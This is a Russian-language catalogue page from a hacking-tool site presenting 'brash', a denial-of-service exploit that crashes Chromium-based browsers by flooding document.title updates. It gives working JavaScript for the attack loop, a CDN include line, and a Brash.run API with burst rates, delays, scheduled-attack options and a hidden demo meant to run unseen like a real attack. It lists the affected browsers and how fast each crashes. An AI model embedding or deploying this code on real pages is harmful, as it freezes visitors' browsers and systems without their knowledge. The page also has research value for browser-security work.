Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
brash — DoS-атака на браузер Chromium через эксплуатацию document.title | Kitploit
Инструменты/GitHubGitHub/jofpin/brash
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатация веб-приложенийТестирование на Проникновение
GitHubjofpin/brash

brash

DoS-атака на браузер Chromium через эксплуатацию document.title

Репозиторий
18061611 месяцев назадПроверено Kitploit
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Brash

Brash от Jose Pino

DoS-атака на браузер Chromium через эксплуатацию document.title

Brash — это критическая уязвимость в Blink, рендеринговом движке, лежащем в основе браузеров на Chromium. Она позволяет обрушить любой браузер на Chromium за 15–60 секунд, эксплуатируя архитектурный недостаток в том, как обрабатываются некоторые DOM-операции.

Вектор атаки возникает из-за полного отсутствия ограничения частоты обновлений API document.title. Это позволяет внедрять миллионы мутаций DOM в секунду, и в процессе этой попытки инъекции насыщается главный поток, нарушая цикл событий и вызывая коллапс интерфейса. Последствия значительны: высокое потребление CPU, деградация общей производительности системы, возможность остановки или замедления других параллельных процессов. Затрагивая браузеры на Chromium на настольных ПК, Android и встраиваемых средах, эта уязвимость подвергает риску более 3 миллиардов человек в интернете, создавая отказ в обслуживании на уровне системы.

СТАТУС: Работает
ЗАТРОНУТЫЕ ВЕРСИИ: Chromium ≤ 143.0.7483.0 (протестировано: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] Эксплойт в настоящее время работает. После исправления уязвимости этот код перестанет действовать. Тем не менее, обнаружение этого архитектурного пробела и выполнение всего процесса исследования, документирования и разработки, чтобы поделиться чем-то впечатляющим с миром, было невероятно полезным путешествием.

Тестирование

Было протестировано 11 основных браузеров на macOS, Windows и Linux для проверки влияния уязвимости.

Уязвимые (Chromium/Blink)

Все браузеры на основе Chromium уязвимы, поскольку недостаток находится в ядре движка Blink:

  • Chrome — вылетает за 15–30 секунд
  • Edge — вылетает за 15–25 секунд
  • Vivaldi — вылетает за 15–30 секунд
  • Arc Browser — вылетает за 15–30 секунд
  • Dia Browser — вылетает за 15–30 секунд
  • Opera — вылетает за ~60 секунд
  • Perplexity Comet — вылетает за 15–35 секунд
  • ChatGPT Atlas — вылетает за 15–60 секунд
  • Brave — вылетает за 30–125 секунд

Не уязвимы (используют другие движки)

  • Firefox (движок Gecko) — устойчив к атаке
  • Safari (движок WebKit) — устойчив к атаке
  • Браузеры на iOS (все используют WebKit) — устойчивы к атаке из-за обязательной политики Apple, требующей от всех браузеров iOS использовать WebKit в качестве рендерингового движка, что делает браузеры на Chromium невозможными на iOS

Как это работает

Brash эксплуатирует фундаментальный архитектурный недостаток в движке Blink: отсутствие троттлинга при обновлениях document.title. Атака проходит в три критических фазы:

1. Генерация хешей (Подготовка)

Генерирует 100 уникальных шестнадцатеричных строк длиной 512 символов и сохраняет их в памяти перед началом атаки.

Зачем предзагружать их, а не генерировать в реальном времени?

Потому что постоянная генерация новых строк потребляет процессорное время на математические операции. Это время критично — каждая миллисекунда, потраченная на генерацию строк, НЕ используется для бомбардировки браузера обновлениями document.title.

Имея 100 строк, уже загруженных в память:

  • Более быстрая атака: нет пауз для генерации строк
  • Сфокусированный CPU: 100% ресурсов посвящено насыщению браузера
  • Меньше системных пауз: предотвращает постоянное срабатывание сборщика мусора
  • Избегает обнаружения: 100 различных строк не позволяют браузеру кэшировать или оптимизировать обновления

В результате мы достигаем максимальной скорости инъекции с максимальным потреблением памяти на каждое обновление.

// Генерирует уникальные ID с высокой энтропией
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Пакетная инъекция (Атака)

Выполняет настраиваемые пакеты обновлений заголовка. При конфигурации по умолчанию (burst: 8000, interval: 1ms) атака пытается внедрить примерно 24 миллиона обновлений в секунду, и именно во время этой попытки начинается коллапс браузера.

// Паттерн тройного обновления: максимальное разрушение конвейера рендеринга
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Каждый пакет выполняет 3 последовательных обновления
    }
    this.counter += 0x3;
}

3. Насыщение UI-потока (Коллапс)

Непрерывные обновления насыщают главный поток браузера, предотвращая обработку других событий:

Временная шкала коллапса:

  • 0–5 с: Начальное насыщение UI-потока, экстремальное потребление CPU
  • 5–10 с: Вкладка полностью заморожена, невозможно закрыть
  • 10–15 с: Коллапс браузера или диалог "Страница не отвечает"
  • 15–60 с: Требуется принудительное завершение (браузеры на Chromium)

Почему это работает?

Blink обрабатывает каждое изменение document.title синхронно в главном потоке без ограничения частоты. Это создаёт узкое место, которое:

  • Блокирует цикл событий
  • Не позволяет обрабатывать пользовательский ввод
  • Насыщает память длинными строками
  • Нарушает работу композитора и конвейера рендеринга
  • Вызывает перегрузку процессов браузера

Демонстрация и PoC

Чтобы полностью понять влияние Brash, вы можете испытать эксплойт в различных контекстах — от контролируемой живой демонстрации до собственной реализации. Каждый вариант предназначен для разного уровня взаимодействия и технического понимания.

1. Живая демонстрация

Самый быстрый способ увидеть Brash в действии. Перейдите на https://brash.run

Чтобы увидеть эксплойт без графического интерфейса, перейдите на https://brash.run/hidden-live-demo.html. Эта версия выполняет инъекцию невидимо, имитируя реальную атаку.

2. Локальная демонстрация

Если вы предпочитаете запустить демонстрацию в своей среде, каталог exploit-demo/, включённый в репозиторий, позволяет:

  • Управлять интенсивностью атаки в реальном времени
  • Видеть визуальный счётчик обновлений в секунду
  • Использовать три предопределённых режима: умеренный, агрессивный и экстремальный
  • Наблюдать постепенный коллапс браузера

Просто откройте exploit-demo/index.html в любом браузере на Chromium и настройте значения burst и interval перед запуском.

  • burstSize: Изменений заголовка за интервал (выше = агрессивнее)
  • interval: Миллисекунды между пакетами (ниже = агрессивнее)

3. Реализуйте собственный PoC

Чтобы интегрировать Brash в ваше собственное тестирование безопасности или исследование, подключите скрипт и настройте атаку:

Подключение скрипта:

<!-- Локально -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Использование API:

// 1. Немедленная атака
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Задержка в секундах (по умолчанию)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 секунд
});

// 3. Задержка со строками
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // или "5000ms" или "3m"
});

// 4. Запланированная атака
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Конфигурации интенсивности:

// Умеренный: контролируемое наблюдение
// Эффект: браузер отвечает медленно, позволяет наблюдать постепенную деградацию
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 обновлений/сек
});

// Агрессивный: быстрое насыщение
// Эффект: вкладки замерзают за 10–20 секунд
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60 000 обновлений/сек
});
Скачать инструмент